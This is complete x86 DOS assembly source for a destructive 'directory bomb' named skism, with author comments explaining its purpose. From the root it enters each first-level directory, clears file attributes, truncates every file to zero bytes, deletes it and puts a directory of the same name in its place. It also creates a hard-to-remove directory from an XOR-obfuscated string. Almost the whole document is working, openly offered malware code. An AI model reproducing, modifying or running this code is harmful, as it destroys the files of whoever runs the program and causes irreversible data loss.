;skism directory bomb v1.00 ;written by hellraiser ;this is a lame bomb consisting of repetative/error full code ;but it gets the job done ;when run this program will start at the first directory from the root ;and trash all files in first level directorys ;then create a directory in place of the distroyed file name ;it will also create a semi-removable directory called skism ;yes bombs are very lame, and be advised, this is the only bomb ;skism shall ever write... but we must try everything once ;be warned, the tech used by this program does not only erase files but ;it will also truncate them to 0 bytes, the skism method. code segment 'code' assume cs:code,ds:code,es:code org 0100h main proc near jmp start thestoppa db 1ah ;EOF char to stop TYPE command filecards db '*.*',0 ;wildcards for files dircards db '*',0 ;wildcards for directorys root db '\',0 ;root directory path default db 64 DUP (?) ;buffer to hold current dir dirdta db 43 DUP (?) ;DTA for dirs filedta db 43 DUP (?) ;DTA for files dseg dw ? ;holds old dir DTA segment dofs dw ? ;holds old dir DTA segment start: mov di,offset vl ;decrypt skism string mov si,offset vl ; mov cx,09h ; cld ; repeat: lodsb ; xor al,92h ; stosb ; dec cx ; jcxz bombstart ; jmp repeat ; bombstart: mov dx,offset dirdta ;set DTA to hold directorys mov ah,1ah ;DOS set DTA function int 21h ; mov ah,19h ;get drive code int 21h ; mov dl,al ;save drive code into dl inc dl ;translate for function 3bh mov ah,47h ;save current dir mov si, offset default ;save current dir into buffer int 21h ; mov dx,offset root ;change dir to root mov ah,3bh ; int 21h ; mov cx,13h ;find directorys mov dx,offset dircards ;find only directorys mov ah,4eh ;find first file scanloop: int 21h ; jc quit ;quit if no more dirs/error jmp changedir ;change to that dir findnextdir: mov ah,4fh ;find next directory mov dx,offset dircards ; jmp scanloop changedir: mov dx,offset dirdta + 30 ;point to dir name in DTA mov ah,3bh ;change directory int 21h ; smash: mov ah,2fh ; int 21h ; mov [dseg],es ;save dir DTA segemnt mov [dofs],bx ;and offset int 21h mov dx,offset filedta ;use file DTA as new DTA mov ah,1ah ; int 21h ; mov cx,0007h ;find flat attributes mov dx,offset filecards ;point to '*.*',0 wildcard spec mov ah,4eh ;find first file filescanloop: int 21h ; jc done ;quit on error/no files found mov ax,4301h ;clear files attributes xor cx,cx ; mov dx, offset filedta + 30 ; int 21h ; jc quit mov ah,3ch ;truncate file int 21h jc quit mov bx,ax ;save handle jc done mov ah,41h ;erase file int 21h ; mov ah,3eh ;close file int 21h ; mov ah,39h ;make directory in place of file int 21h ; mov ah,4fh ;find next jmp filescanloop done: mov ah,1ah ;restore directory DTA mov ds,[dseg] ; mov dx,[dofs] ; int 21h mov dx,offset root ;change dir to root mov ah,3bh ; int 21h ; jmp findnextdir quit: mov ah,3bh mov dx,offset root ;change to root int 21h mov ah,39h mov dx,offset vl int 21h jc restore restore: mov dx,offset default ;restore original directory mov ah,3bh ; int 21h ; mov ah,4ch ; int 21h ; vl db 0c1h,0f9h,0fbh,0e1h,0ffh,0bch,06dh,0b2h,06dh,0 filler db 28 dup(1ah) main endp code ends end main